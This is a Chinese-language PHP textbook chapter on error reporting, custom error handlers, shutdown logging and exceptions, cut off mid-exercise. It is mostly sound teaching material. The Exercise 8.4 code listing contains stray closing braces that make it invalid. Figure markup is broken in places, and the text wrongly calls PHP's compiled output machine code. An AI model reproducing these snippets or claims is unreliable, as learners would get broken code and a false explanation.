在软件编程中,错误和错误处理器是一个无价的概念,它帮助开发者在应用程序的编译时或运行时识别故障点。它们可以表示不同级别的严重性。因此,脚本可以发出导致进程停止的致命错误,可以发出警告,指出脚本可能的误用,也可以发出一些提示代码改进的通告(例如,在操作中使用未初始化的变量)。因此,根据严重性将错误分组在不同的级别,例如致命错误、警告、通知和调试消息,仅举几例。所有这些消息通常都收集到持久存储中,这个过程称为记录。最易访问的记录方法是写入本地文件系统上的文件,这是大多数(如果不是所有)应用程序的默认方法。开发者通过读取这些日志来识别问题或查找其他特定信息,例如内存使用或 SQL 查询响应时间。现代应用程序,如基于云的应用程序,不会在文件系统上保留应用程序日志;相反,它们将它们发送到专门的日志处理应用程序。

在 PHP 中,错误通过一系列内置函数来处理和记录。通过注册自定义错误处理器或设置特定范围的错误报告,这些函数可以方便地定制错误处理和记录以满足应用程序的需求。

由于这些函数已集成在 PHP 核心中,因此无需安装其他扩展即可使用它们。php.ini配置文件中的设置,或在运行时使用ini_set()函数,都会影响这些函数的行为。

以下表格列出了最常遇到的错误和广泛使用的记录配置选项:

![图 8.1:常见的错误和记录配置

![img/C14196_08_01.jpg]

图 8.1:常见的错误和记录配置

在安装了某个版本的 PHP 并设置了适当的值之后,始终建议检查这些值。当然,应特别注意生产服务器上的 PHP 设置。如果您希望在运行时更改配置值,可以使用以下方式使用ini_set()函数:

ini_set('display_errors', 'Off');

然而,最好将所有配置都放在文件中。例如,在设置display_errors为"Off"以隐藏任何错误消息从用户输出的情况下,如果脚本在设置到达并读取之前失败编译,则错误将显示给用户。

现在让我们谈谈“编译时”和“运行时”。PHP 运行分为两个主要阶段,首先是编译,其次是解释:

  1. 在第一阶段——编译时,PHP 解析脚本文件并构建所谓的机器码。这是由机器(计算机和服务器)运行的原始二进制格式,不是人类可读的。这一步可以使用 Opcache 或 APC 等工具进行缓存,由于它带来的巨大性能提升,因此推荐使用。

  2. 在第二阶段——运行时,机器码实际上被执行。

此外,为了与运行 PHP 的服务器进行通信,它使用服务器应用程序编程接口(也称为服务器 API,简称 SAPI)。例如,从命令行(在终端)运行 PHP 时,将使用命令行界面(CLI)SAPI。对于网络流量,可以使用 Apache2 SAPI(作为 Apache2 服务器的模块),或者与 NGINX 服务器一起使用 FastCGI 进程管理器(FPM)SAPI。这些是 PHP 最常用的接口,它们根据需要安装,每个都包含自己的配置文件,通常导入主/默认配置,并扩展了它们自己的特定配置文件。我们稍后会讨论配置文件。

这里是错误消息最常见的预定义常量:

图 8.2:错误消息的预定义常量

图 8.2:错误消息的预定义常量

这些错误由 PHP 引擎生成并报告,将在我们稍后遇到的错误处理器中报告。要更改 PHP 中的错误报告级别,可以使用 error_reporting() 函数,它只需要一个参数——用作 位掩码 的十进制数(在这种情况下,位掩码是一个二进制序列,用于匹配触发的错误消息级别),可以使用 error_reporting() 函数。error_reporting() 函数参数通常用作两个或多个错误级别常量之间的位运算表达式。例如,如果我们只想报告错误和警告,我们将在脚本运行时调用 error_reporting(E_ERROR | E_WARNING);。在 INI 配置文件中的 error_reporting 条目中也可以使用位运算表达式。

除了这些,还有一些其他错误代码(包括常量)用于用户脚本中按请求生成错误。

这里是用户级生成错误消息的预定义常量列表,使用 PHP 函数 trigger_error()

图 8.3:用户级生成错误消息的预定义常量

图 8.3:用户级生成错误消息的预定义常量

当开发者想在特定上下文中报告某些内容但又不想停止脚本的执行时,这些很有用。例如,当您通过“删除”函数等方式重构组件(在您的应用程序代码或您管理的 PHP 库中)时,您可能更愿意在要删除的函数中包含一个 E_USER_DEPRECATED 级别的消息,指向首选的替代方案,而不是仅仅删除函数,从而增加调用未定义函数错误消息的可能性,这可能会停止您的脚本。

要在运行时之前设置自定义 PHP 设置,只需将自定义配置文件添加到 PHP 的 INI(配置)目录中即可。要找到此目录,您应该运行 php --ini;输出将类似于以下内容:

![Figure 8.4:php-ini 命令的输出]

![img/C14196_08_04.jpg]

![Figure 8.4:php-ini 命令的输出]

注意

--ini 选项扫描并加载每个目录内的所有 .ini 文件。

查找“扫描附加 .ini 文件”,在那里您将找到您设置应该去的目录。

如果使用的配置目录在 CLI 和 FPM 模式之间是分开的,您应该确保为两种模式都添加自定义配置文件。

注意

如果前面的目录路径中包含 /cli/,这意味着配置仅适用于 CLI,您应该在 CLI 同一级别的 FPM 目录中查找并添加自定义配置。

接下来,请确保您已在自定义 INI 文件中设置了与 PHP 中的错误和日志相关的以下值。

创建 /etc/php/7.3/cli/conf.d/custom.ini 文件并设置以下值:

error_reporting=E_ALL
display_errors=On
log_errors=Off
error_log=NULL

尽管我们可以利用 error_log 配置将所有内容记录到文件中,但我们将这项工作留给一个能够处理多个输出的日志组件,而不是单个输出——将日志发送到文件、日志服务器、Slack 等等。

您应该在错误报告和处理以及记录这些错误之间做出明确区分。

此外,前面的 PHP 配置值将被视为已设置。

快速检查时,使用 ls -ln /etc/php/7.3/cli/conf.d,我们应该得到以下内容:

![Figure 8.5:列出文件夹下的配置文件]

![img/C14196_08_05.jpg]

图 8.5:列出文件夹下的配置文件

如您所注意到的,已安装模块的配置与之前讨论过的 /etc/php/7.3/mods-available/ 中的通用配置文件相关联。

处理错误

默认情况下,PHP 会将错误消息输出到用户输出(通过浏览器访问程序时在浏览器屏幕上,或在命令行界面运行时在终端/命令行中)。在应用程序开发的早期阶段应该更改这一点,以便在发布应用程序后,你可以确信不会向用户泄露任何错误消息,因为这会显得不专业,有时可能会吓到最终用户。应用程序的错误应该以这种方式处理,即最终用户在它们发生时不会看到一些可能的故障(例如,无法连接到缓存服务),或者与无法执行的操作相关的用户友好的错误消息(例如,在无法连接到数据库时无法添加评论)。

默认错误处理器

如果用户(开发者)没有指定其他错误处理器,PHP 将使用默认的错误处理器,该处理器简单地输出错误消息到用户输出,无论是浏览器还是终端/命令行。此消息包含错误消息本身、文件名以及错误被触发的行号。通过检查是否在命令行界面中运行默认错误处理器,php -r 'echo $iDontExist;',你将得到以下输出:

PHP Notice: Undefined variable: iDontExist in Command line code on line 1

这种类型的错误可能由应用程序的各个部分输出,原因多种多样:未定义的变量、将字符串用作数组、尝试打开一个不存在的(或没有读取权限)的文件、在对象上调用缺失的方法,等等。即使你设置了自定义的错误处理器并且不向最终用户显示这些错误,最好的做法也是解决它们而不是隐藏它们。设计你的应用程序以避免触发此类错误,将使你的应用程序性能更佳、更健壮,并且更不容易出现错误。

使用自定义错误处理器

我们总是希望在我们的应用程序中管理报告的错误,而不是在响应中输出它们。为此,我们必须注册我们自己的错误处理器,我们将使用内置函数 set_error_handler()

语法如下:

set_error_handler(callable $error_handler [, int $error_types = E_ALL |   E_STRICT ])

第一个参数是一个可调用对象,而第二个参数将指定此处理器将被调用的级别。

可调用对象是在执行过程中的某个点运行的函数,它将接收一个预期的参数列表。例如,通过运行以下 PHP 代码,php -r 'var_dump(array_map("intval", [ "10", "2.3", "ten" ]));'array_map() 函数将为数组参数 ("10", "2.3", "ten") 的每个元素调用 intval() 函数,提供元素值;因此,我们得到一个长度相同的数组,但包含整数值:

图 8.6:向函数传递值

图 8.6:向函数传递值

可调用的类型可以是声明的函数、函数变量(匿名函数)、实例化的类方法、类静态方法,或者实现__invoke()方法的类实例。

如果抛出的错误类型与set_error_handler()中指定的不同,则将调用默认错误处理器。此外,当自定义错误处理器返回布尔值FALSE时,也将调用默认处理器。无论error_reporting的值如何,处理器仅用于指定的$error_types参数。

错误处理器应该具有以下签名:

handler(int $errno, string $errstr [, string $errfile [, int $errline [, array   $errcontext]]]): bool

参数如下:

  • $errno (整数): 指向消息的错误级别

  • $errstr (字符串): 是错误信息本身

  • $errfile (字符串): 发生错误的文件路径

  • $errline (整数): 发生错误的文件中的行号

  • $errcontext (数组): 在$errfile文件中$errline行发生错误时所有可用的变量列表,以关联数组中的名称-值对形式

练习 8.1:使用自定义错误处理器

到目前为止,我们已经学习了关于错误代码以及使用默认错误处理器进行错误报告的一些配置。在这个练习中,我们将注册一个自定义错误处理器,并学习如何使用它:

  1. 创建一个名为custom-handler.php的文件,并添加以下内容。首先,我们定义错误处理器 – 存储在$errorHandler变量中的匿名函数,它将打印当前日期和时间、消息、文件名、行号和错误代码,格式由我们选择:

    <?php
    $errorHandler = function (int $code, string $message, string $file,   int $line) {
        echo date(DATE_W3C), " :: $message, in [$file] on line [$line]       (error code $code)", PHP_EOL;
    };
    
  2. 然后,我们使用set_error_handler()函数为所有类型的错误注册之前定义的错误处理器:

    set_error_handler($errorHandler, E_ALL);
    
  3. 最后,我们编写一个表达式,该表达式应在运行时触发一些错误消息 – 一个除法操作,其变量尚未定义:

    echo $width / $height, PHP_EOL;
    
  4. 在终端中执行以下命令:

    php custom-handler.php
    

    输出如下:

图 8.7:程序输出

图 8.7:程序输出

因此,我们有两个未定义变量(代码 8)错误和一个除以零(代码 2)错误。并且,在最后一行,我们得到了NAN – 不是数字,因为除以零没有意义。查看预定义常量表,我们可以看到代码 2错误是一个警告,而代码 8错误是一个通知。

恭喜!你刚刚使用了你的第一个自定义错误处理器。

现在,让我们看看如何比仅仅在屏幕上打印错误信息更好地使用它。你还记得你不想让网站的访客看到所有这些内容吗?所以,而不是打印,我们只需将它们记录(写入)到文件中。

如前所述,将错误(或其他类型的消息)记录在文件中的原因是为了让它们记录在持久存储中,这样任何人都可以在任何时候读取,即使应用程序没有运行,只要有权限访问服务器。这尤其有用,因为许多错误可能会在最终用户“利用”应用程序后出现,而记录日志是检查此类使用后发生的错误的一种适当方式。

练习 8.2:使用自定义错误处理器进行记录

在文件系统上记录错误只是众多其他记录日志方法之一,而且可能是最简单的一种。在这个练习中,我们将看到我们如何使用错误处理器以最简单的方式写入日志文件:

  1. 创建一个名为log-handler.php的文件,并添加以下内容。

  2. 如果尚未完成,自定义错误处理器将使用fopen()创建一个数据流资源,使用"append" (a)标志。目标是脚本目录中的app.log文件。使用静态关键字初始化$stream变量,以便缓存后续调用。写入的流使用fwrite()函数,消息格式与之前的练习相同:

    <?php
    $errorHandler = function (int $code, string $message, string $file, int $line) {
        static $stream;
        if (is_null($stream)) {
            $stream = fopen(__DIR__ . '/app.log', 'a');
        }
        fwrite(
            $stream,
            date(DATE_W3C) . " :: $message, in [$file] on line [$line] (error code $code)" . PHP_EOL
        );
    };
    
  3. 然后,再次为所有错误类型设置错误处理器,接着是触发错误的测试算术表达式:

    set_error_handler($errorHandler, E_ALL);
    echo $width / $height, PHP_EOL;
    
  4. 现在,使用以下命令在命令行界面中运行文件:

    php log-handler.php
    

    这次,作为输出,我们只得到预期的NAN,因为我们正在将错误记录在app.log文件中:

    图 8.8:显示 NAN 值的输出

    图 8.8:显示 NAN 值的输出

  5. 检查app.log文件内容;你应该会发现以下内容:

图 8.9:日志文件的内容

图 8.9:日志文件的内容

如您所见,脚本输出现在看起来更干净了,而在日志文件中,我们只有错误日志消息。最终用户看不到任何底层的错误,日志文件只包含与错误本身相关的信息。

在这个例子中,使用fopen(),我们没有检查它是否成功打开并返回流资源,因为脚本将在它自身所在的同一目录中创建文件,所以失败的概率非常小。在现实世界的应用程序中,目标文件可能有一个在磁盘上尚不存在的目录路径,或者没有对该位置的写权限等,你应该以你认为最好的方式处理所有这些失败情况,无论是停止脚本执行、输出到标准错误输出、忽略错误等。我个人的方法,在许多情况下,是将输出到标准错误输出,并设置一个健康检查器,在调用时将报告日志问题。但是,在日志组件被认为至关重要的情况下(法律或商业约束),你可能会决定在出现日志问题时阻止应用程序运行。

触发用户级错误

有时,根据目的,在脚本中触发错误是有用的。例如,模块重构会导致过时的方法或输入,在这种情况下,直到依赖于该模块的应用程序完成迁移,应该使用过时错误,而不是仅仅移除旧 API 的方法。

为了实现这一点,PHP 提供了trigger_error()核心函数,其语法如下:

trigger_error( string $error_msg [, int $error_type = E_USER_NOTICE ] ): bool

第一个参数是错误消息,是必需的。第二个参数是错误消息的级别,是可选的,默认值为E_USER_NOTICE

在我们继续之前,让我们设置一个错误处理器,我们将在接下来的练习中包含它。我们将把这个文件命名为error-handler.php,其内容如下:

<?php
$errorHandler = function (int $code, string $message, string $file, int $line) {
    echo date(DATE_W3C), " :: $message, in [$file] on line [$line] (error code       $code)", PHP_EOL;
    if ($code === E_USER_ERROR) {
        exit(1);
    }
};
set_error_handler($errorHandler, E_ALL);
return $errorHandler;

首先,我们定义错误处理器——一个匿名函数,它将在屏幕上打印错误消息,然后对于致命错误E_USER_ERROR,它将使用退出代码1停止脚本的执行。这是一个我们可以用于生产环境或命令行脚本的处理器,因为输出是在屏幕上打印的,在发生致命错误时脚本会停止,并且退出代码将不为零(意味着脚本没有成功完成)。

然后,我们为所有类型的错误设置错误处理器,并返回它,以便它最终可以被调用此文件的脚本使用。

练习 8.3:触发错误

在这个练习中,你将故意在满足特定条件时在脚本中触发一些错误。为了继续,请确保你创建了之前描述的错误处理器文件,因为它将在这个和接下来的练习中使用。

在这个特定的简单脚本中,我们的目标是返回输入参数的平方根:

  1. 创建一个名为 sqrt.php 的文件,并添加以下内容。首先,我们包含之前创建的错误处理程序文件,以便设置我们的自定义错误处理程序。然后,我们检查第一个参数是否存在,如果不存在,我们使用 trigger_error() 输出错误消息,这将终止脚本的执行,因为我们使用 E_USER_ERROR 作为第二个参数。如果第一个输入参数存在,我们将其存储在 $input 变量中以方便使用:

    <?php
    require_once 'error-handler.php';
    if (!array_key_exists(1, $argv)) {
        trigger_error('This script requires a number as first argument',       E_USER_ERROR);
    }
    $input = $argv[1];
    
  2. 接下来,有一个输入验证和清理的列表。首先,我们检查输入是否为数字,如果不是,我们则触发错误,这将终止脚本:

    if (!is_numeric($input)) {
        trigger_error(sprintf('A number is expected, got %s', $input),       E_USER_ERROR);
    }
    
  3. 第二次验证是对浮点数的验证。请注意,我们使用 $input * 1 表达式技巧(因为输入是一个数字字符串)将其转换为整数或浮点数。

    由于输入是字符串,我们需要使用一些函数将其转换为预期的类型(在我们的例子中是整数)或通过解析来测试其匹配的类型。我们使用了 is_numeric() 函数,它告诉我们输入看起来像数字,但为了测试字符串输入看起来像小数,我们必须进行这个乘以 1 的小技巧,因为在这种情况下,PHP 会根据上下文将涉及的变量转换为浮点数或整数类型。例如,"3.14" * 1 将得到一个值为 3.14 的浮点数:

    ![图 8.10:浮点数输出 图片

    if (is_float($input * 1)) {
        $input = round($input);
        trigger_error(
            sprintf(
                'Decimal numbers are not allowed for this operation. Will use               the rounded integer value [%d]',
                $input
            ),
            E_USER_WARNING
        );
    }
    
  4. 最后,我们检查提供的数字是否为负数。如果是负数,我们则简单地使用绝对值,借助 abs() 函数。此外,我们触发一个警告错误,以提供通知,说明在此脚本中不允许运行负数,这个错误不会终止脚本的执行:

    if ($input < 0) {
        $input = abs($input);
        trigger_error(
            sprintf(
                'A negative number is not allowed for this operation. Will use               the absolute value [%d].',
                $input
            ),
            E_USER_WARNING
        );
    }
    
  5. 在脚本的最后部分,我们最终执行并打印了输入的平方根:

    echo sprintf('sqrt(%d) = ', $input), sqrt((float)$input), PHP_EOL;
    
  6. 在命令行界面中运行此脚本:

    php sqrt.php; 
    

    你将得到以下输出:

    ![图 8.11:错误消息 图片

    图 8.11:错误消息

    在这种情况下,第一个条件未满足,因为第一个参数未提供。因此,在打印错误消息后,脚本被终止。

  7. 现在,执行以下命令:

    php sqrt.php nine;
    

    输出如下所示:

    图片

    图 8.12:将文本作为值添加时的错误

    就像上一个例子一样,脚本因为 E_USER_ERROR(代码 256)而终止,这是由于无效输入;这将是条件编号二——输入必须是数字。

  8. 现在,运行以下命令:

    php sqrt.php -81.3; 
    

    输出将如下所示:

![图 8.13:命令输出图片

图 8.13:命令输出

第一行是一个错误消息(一个警告 - 错误代码 512),它通知我们-81.3输入值已被更改,现在将使用四舍五入的值-81,以便脚本继续执行。

第二行是另一个警告,它注意到输入值的符号变化,因此将使用绝对值81而不是负数-81,允许脚本进一步执行。

最后,在最后一行,我们得到了处理输出,sqrt(81) = 9。如果我们用81作为输入参数而不是-81.3,由于输入格式的正确性,我们只会得到这一行。当然,任何数字都可以使用,所以通过运行php sqrt.php 123,我们得到输出sqrt(123) = 11.090536506409

![图 8.14:打印 123 的平方根图 8.14:打印 123 的平方根

图 8.14:打印 123 的平方根

正如你所见,在这个练习中,我们使用了由用户触发的错误,这些错误由我们的自定义错误处理器处理。E_ERRORE_USER_ERROR错误类型由于其性质会导致脚本立即停止。你也看到了警告表明脚本没有按照理想路径执行;输入数据被更改,或者做出了某些假设(例如使用未定义的常量名称 - PHP 将假设该名称为字符串而不是 null 或空值)。因此,在警告的情况下,最好立即采取行动并解决任何歧义。在我们的例子中,我们使用了一些警告来处理无效输入,但我们可以使用一些更底层的警告,如E_USER_NOTICE,以降低错误日志条目的重要性,或者使用更高级的警告,如E_USER_ERROR,这将停止脚本。正如你所见,这些警告取决于任务规范,并且使用 PHP 很容易实现这一点。

在脚本关闭时记录错误

致命错误,如调用未定义的函数或实例化未知类,无法由注册的错误处理器处理。它们会简单地停止脚本执行。所以,你可能会问为什么我们还在set_error_handler()中将$error_types参数设置为E_ALL。这只是为了方便,因为它最容易记住,并且在某种程度上描述了它涵盖了所有可以覆盖的错误类型。问题是,致命错误必须停止脚本执行,如果这个简单的责任留给自定义错误处理器,那么通过简单地不使用exit()或其别名die()来停止脚本执行,就很容易绕过它。

仍然可以通过使用register_shutdown_function()函数来捕获和记录一些致命错误 - 这个函数正是这样做的 - 它注册一个函数(一个可调用的对象)在脚本关闭时被调用,以及error_get_last(),它将返回最后一个错误(如果有的话):

register_shutdown_function( callable $callback [, mixed $... ] ): void

在这里,第一个参数是要在关闭时调用的可调用函数,后面跟着可选参数,这些参数将成为$callback参数。考虑以下代码片段:

register_shutdown_function(
    function (string $file, int $line) {
        echo "I was registered in $file at line $line", PHP_EOL;
    },
    __FILE__,
    __LINE__
);

在代码片段中,可调用函数接收两个参数——字符串$file和整数$line——它们的值由__FILE____LINE__魔术常量设置,作为参数在register_shutdown_function()中传递,编号为二和三。

可以使用register_shutdown_function()注册多个函数,以便在关闭时调用。这些函数将按照它们的注册顺序被调用。如果我们在这其中任何一个注册的函数中调用exit(),处理将立即停止:

error_get_last(): array

error_get_last()函数不期望任何参数,输出是上述关联数组,描述错误或,如果没有发生错误,则输出null

练习 8.4:在关闭时记录致命错误

查找致命错误非常重要,因为它将给你提供重要信息,说明应用程序为什么在崩溃时确实会崩溃。在这个练习中,我们想要捕获并打印与脚本停止(原因和发生的地方)相关的信息。因此,你将使用之前创建并注册在error-handler.php文件中的自定义错误处理程序记录这样的错误:

  1. 创建一个名为on-shutdown.php的文件,并插入以下内容。与其他示例不同,我们现在存储错误处理程序文件输出,即自定义错误处理程序回调(记得在'error-handler.php'文件中的最后一行,return $errorHandler;?)我们希望保留错误处理程序以供以后使用:

    <?php
    $errorHandler = require_once 'error-handler.php';
    
  2. 在这一步,我们定义了关闭函数,该函数使用error_get_last()函数获取最后一个错误,并将其存储在$error变量中,该变量将被评估,如果它不为空,则进入下一步。如果你有一个E_ERRORE_RECOVERABLE_ERROR类型的错误,那么继续下一步:

    if ($error = error_get_last()) {
        if (in_array($error['type'], [E_ERROR, E_RECOVERABLE_ERROR], true)) {
    

    注意

    在这个例子中,我们使用了[E_ERROR, E_RECOVERABLE_ERROR];你可以在你的代码中使用所有致命错误代码。

  3. 现在,是时候使用错误处理程序了;它被调用,参数按照适当的顺序指定,以便与回调签名匹配:

    $errorHandler(
        $error['type'],
        $error['message'],
        $error['file'],
        $error['line']
    );
    

    注意

    由于我们得到的最后一个错误的结构与任何其他错误相同,我们不是重复处理程序的逻辑(以特定格式记录错误),而是重用了错误处理程序回调来完成这个目的。

  4. 使用register_shutdown_function()注册关闭函数:

         register_shutdown_function(
        function () use ($errorHandler) {
            if ($error = error_get_last()) {
                if (in_array($error['type'], [E_ERROR, E_RECOVERABLE_ERROR],               true)) {
                    $errorHandler(
                        $error['type'],
                        $error['message'],
                        $error['file'],
                        $error['line']
                    );
                }
            }
        }
    }
    }
    );
    
  5. 在脚本的最后一行,我们只是尝试实例化一个不存在的类,以触发致命错误:

    new UnknownClass();
    

    在命令行界面中运行脚本php on-shutdown.php;,你应该看到以下输出:

图 8.15:错误信息的截图

图 8.15:错误信息的截图

这条消息是一个由默认错误处理器打印的 E_ERROR,该处理器还负责在发生此类致命错误时停止脚本执行,如前所述。因此,你可能想知道我们是否可以在默认处理器被调用之前处理它,实际上我们可以做到,但让我们进一步看看。

对于单个错误来说,这里有太多的信息。以下是发生的情况:

图 8.16:所有错误信息的说明

图 8.16:所有错误信息的说明

这条消息包含相同的信息——我们还有调用堆栈(运行时过程到达错误之前遵循的路径)。这条错误信息是一个可抛出的错误(也称为异常),由默认异常处理器打印。异常是特殊对象,包含错误信息,我们将更详细地了解它们。在这种情况下,因为没有注册自定义异常处理器,所以异常被转换为错误。

在最后一个块(第三个消息框)中,我们打印转换后的错误信息,该信息被发送到自定义错误处理器。

输出可能看起来出乎意料,但这是有道理的。尝试实例化一个未知的类将触发错误异常,如果没有注册自定义异常处理器,异常将被转换为错误,并将触发默认错误处理器和默认异常处理器。最终,随着脚本的关闭,关闭函数被调用,我们在那里捕获最后一个错误并将其发送到我们的自定义错误处理器进行记录。

异常

异常是在程序运行时发生的事件,它破坏了其正常流程。

从版本 7 开始,PHP 改变了错误报告的方式。与 PHP 5 中使用的传统错误报告机制不同,在版本 7 中,PHP 使用面向对象的方法来处理错误。因此,现在许多错误都被抛出为异常。

PHP 中的异常模型(自版本 5 起支持)与其他编程语言类似。因此,当发生错误时,它会被转换成一个对象——异常对象,该对象包含有关错误及其触发位置的相关信息。我们可以在 PHP 脚本中抛出和捕获异常。当异常被抛出时,它会被传递给运行时系统,该系统将尝试在脚本中找到一个可以处理异常的位置。这个要查找的位置被称为异常处理器,它将在当前运行时调用的函数列表中进行搜索,直到异常被抛出。这个函数列表被称为调用栈。首先,系统将在当前函数中查找异常处理器,然后按调用栈的逆序进行搜索。当找到异常处理器时,在系统处理异常之前,它将首先匹配找到的异常处理器接受的异常类型。如果匹配成功,则脚本执行将在该异常处理器中继续。如果在调用栈中没有找到异常处理器,则默认的 PHP 异常处理器将接收到异常,脚本执行将停止。

异常的基类是 Exception 类,从 PHP 版本 5 开始引入异常时起。

现在,让我们回到 PHP 7 的错误报告。从 PHP 7 开始,大多数致命错误都被转换成异常,为了确保现有脚本的向后兼容性(以及库能够在 PHP 5.x 和 PHP 7.x 中与异常处理器保持一致),致命错误异常使用一个新的异常基类 Error 抛出。同时,添加了一个新的接口,称为 Throwable,它由 ExceptionError 类实现。因此,在 try-catch 块中捕获 Throwable 将导致捕获任何可能的异常。

基本用法

考虑以下代码块:

try {
    if (!isset($argv[1])) {
        throw new Exception('Argument #1 is required.');
    }
} catch (Exception $e) {
    echo $e->getMessage(), PHP_EOL;
} finally {
    echo "Done.", PHP_EOL;
}

在这里,我们可以区分四个关键字:trythrowcatchfinally。我将在下面解释代码块和关键字的使用:

  • try 块用于运行在异常情况下预期会失败(抛出异常错误)的任何代码。在这个块内部,我们可以显式地抛出异常,或者不抛出异常(当我们在 try 块中运行的函数抛出异常时),依靠异常的冒泡特性,通过调用栈回溯(搜索前面提到的异常处理器);

  • throw 用于触发一个新的异常,并且需要一个异常类实例作为参数(任何扩展 ExceptionError 类的类——关于这一点稍后讨论)。

  • catch块用于处理异常,需要指定要“捕获”的异常类型(类)以及异常将被存储的变量名;异常类型可以是具体的类名、抽象类名或接口名——捕获的异常是实现了、扩展了或确实是具体指定的类的异常;可以指定多个catch块,但只有第一个类型匹配的捕获异常块将被执行;如果没有任何catch块,则必须要有finally块。

  • finally块将为每个try尝试运行其内部的代码,即使没有抛出异常,或者如果抛出了异常并被捕获,或者如果抛出了异常但没有被任何catch块捕获。这在长时间运行的过程结束时关闭打开的资源(文件、数据库连接等)特别有用。

在前面的例子中,脚本进入try块并检查第一个参数是否在运行时设置,如果没有设置,它将抛出一个Exception类型的异常,该异常被catch块捕获,因为它期望捕获Exception类的异常,Exception $e变量在进入catch块后。

练习 8.5:实现异常

在这个练习中,你将在 PHP 中抛出和捕获异常。为了实现这一点,我们将创建一个基于用户输入实例化类的脚本。此外,脚本将打印几句话以跟踪脚本流程,以便更好地理解 PHP 中的异常机制:

  1. 创建一个名为basic-try.php的文件,并添加以下代码。用SCRIPT START消息标记脚本的开始:

    <?php
    echo 'SCRIPT START.', PHP_EOL;
    
  2. 打开一个try块并打印Run TRY block消息:

    try {
        echo 'Run TRY block.', PHP_EOL;
    
  3. 如果在输入参数中没有指定类名,打印NO ARGUMENT: Will throw exception.消息以通知意图,并抛出异常:

        if (!isset($argv[1])) {
            echo 'NO ARGUMENT: Will throw exception.', PHP_EOL;
            throw new LogicException('Argument #1 is required.');
        }
    
  4. 否则,当我们有一个输入参数时,我们打印它并尝试实例化,假设输入参数是一个已知的类名。使用var_dump()函数将新对象输出到输出:

        echo 'ARGUMENT: ', $argv[1], PHP_EOL;
        var_dump(new $argv[1]);
    
  5. 关闭try块并添加catch块,提示接受的异常类型为Exception类。在catch块中,我们打印格式化的异常信息文本消息:

    } catch (Exception $e) {
        echo 'EXCEPTION: ', sprintf('%s in %s at line %d', $e->getMessage(),       $e->getFile(), $e->getLine()), PHP_EOL;
    
  6. 在这个脚本中,除了打印关于到达执行过程这一阶段的信息外,不执行任何特殊操作的finally块:

    } finally {
        echo "FINALLY block gets executed.\n";
    
  7. 最后,打印一条消息通知用户脚本执行已退出try/catch块,并且脚本将结束:

    echo "Outside TRY-CATCH.\n";
    echo 'SCRIPT END.', PHP_EOL;
    
  8. 使用以下命令在命令行界面运行脚本:

     php basic-try.php; 
    

    输出应该看起来像这样:

    图 8.17:try/catch 程序的输出

    图 8.17:try/catch 程序的输出

    注意到try块的最后两行没有执行,这是因为抛出了一个异常——由于缺少输入参数而引发的LogicException。异常被catch块捕获,并在屏幕上打印了一些信息——错误消息、文件和throw位置所在的行。由于异常被捕获,脚本继续执行。

  9. 现在,运行php basic-try.php DateTime;,输出将如下:![图 8.18:命令输出 图片

    图 8.18:命令输出

    你会注意到,现在输出中有了ARGUMENT: DateTime,后面跟着DateTime实例的转储。脚本流程是正常的,没有抛出任何异常。

  10. 使用php basic-try.php DateTimeZone运行脚本,输出如下:![图 8.19:由于缺少参数抛出错误 图片

    图 8.19:由于缺少参数抛出错误

    现在,我们得到了一个异常错误,有趣的是,这个异常似乎没有被捕获——看到输出中的ARGUMENT行后面跟着FINALLY行,并且没有打印出EXCEPTION。这是因为抛出的异常没有扩展Exception类。

    在前面的例子中,ArgumentCountError扩展了Error异常类,并且没有被catch (Exception $e)语句捕获。因此,异常由默认异常处理器处理,脚本进程被终止——注意FINALLY行后面既没有Outside TRY-CATCH.也没有SCRIPT END.行。

  11. 将脚本复制到名为basic-try-all.php的新文件中,并添加catch (Error $e)块;添加的代码应放置在tryfinally块之间:

    } catch (Error $e) {
        echo 'ERROR: ', sprintf('%s in %s at line %d', $e->getMessage(),       $e->getFile(), $e->getLine()), PHP_EOL;
    
  12. 运行以下命令:

     php basic-try-all.php DateTimeZone; 
    

    输出如下:

![图 8.20:执行命令的输出图片

图 8.20:执行命令的输出

如预期的那样,错误异常现在被捕获并以我们的格式打印出来,脚本没有意外终止。

在这个例子中,我们看到了如何捕获异常。不仅如此,我们还学习了两个基本异常类,并且我们现在理解了它们之间的区别。

在上一个练习中提到了可抛出接口,该接口由ErrorException类实现。由于 SPL(标准 PHP 库)提供了一系列丰富的异常,让我们显示 PHP 7 版本中添加的Error异常的异常层次结构:

![图 8.21:异常层次结构图片

图 8.21:异常层次结构

今天现代的 PHP 库和框架中可以找到许多其他自定义异常类。

自定义异常

在 PHP 中,可以定义自定义异常,并使用自定义功能扩展它们。自定义异常很有用,因为可以根据应用需求扩展基本功能,将业务逻辑捆绑在基应用异常类中。此外,它们通过根据相关的业务逻辑命名来为应用流程带来意义。

练习 8.6:自定义异常

在这个练习中,我们将定义一个具有扩展功能的自定义异常,我们将抛出并捕获它,然后将在屏幕上打印自定义格式的消息。具体来说,这是一个验证电子邮件地址的脚本:

  1. 创建一个名为 validate-email.php 的文件,并定义一个名为 InvalidEmail 的自定义异常类,它将扩展 Exception 类。此外,新的异常类提供了存储和检索上下文为数组的选项:

    <?php
    class InvalidEmail extends Exception
    {
        private $context = [];
        public function setContext(array $context)
        {
            $this->context = $context;
        }
        public function getContext(): array
        {
            return $this->context;
        }
    }
    

    注意

    建议的异常名称不包括 Exception 后缀,因为这用作命名约定。尽管异常名称不需要特定的格式,一些开发者更喜欢添加 Exception 后缀,以提供“在类名中具有特异性”的论点,而其他人则更喜欢不包含后缀,以提供“更容易阅读代码”的论点。无论如何,PHP 引擎并不关心,将异常命名约定留给开发者或编写代码的组织。

  2. 添加 validateEmail() 函数,该函数不返回任何内容,但在出错的情况下会抛出异常。validateEmail() 函数期望输入参数与脚本输入参数相同。如果输入数组的第 1 个位置未设置(第一个参数不存在),则抛出 InvalidArgumentException 异常。在此步骤之后,函数执行将停止。否则,当第 1 个位置设置时,我们将使用内置的 filter_var() 函数验证该值。

  3. FILTER_VALIDATE_EMAIL 标志。如果验证失败,则实例化 InvalidEmail 异常类,设置上下文为测试值,然后抛出它:

    function validateEmail(array $input)
    {
        if (!isset($input[1])) {
            throw new InvalidArgumentException('No value to check.');
        }
        $testInput = $input[1];
        if (!filter_var($testInput, FILTER_VALIDATE_EMAIL)) {
            $error = new InvalidEmail('The email validation has failed.');
            $error->setContext(['testValue' => $testInput]);
            throw $error;
        }
    }
    
  4. 使用 try-catch 块运行 validateEmail() 函数,并在没有抛出异常或异常规定的情况下打印成功消息:

    try {
        validateEmail($argv);
        echo 'The input value is valid email.', PHP_EOL;
    } catch (Throwable $e) {
        echo sprintf(
                'Caught [%s]: %s (file: %s, line: %s, context: %s)',
                get_class($e),
                $e->getMessage(),
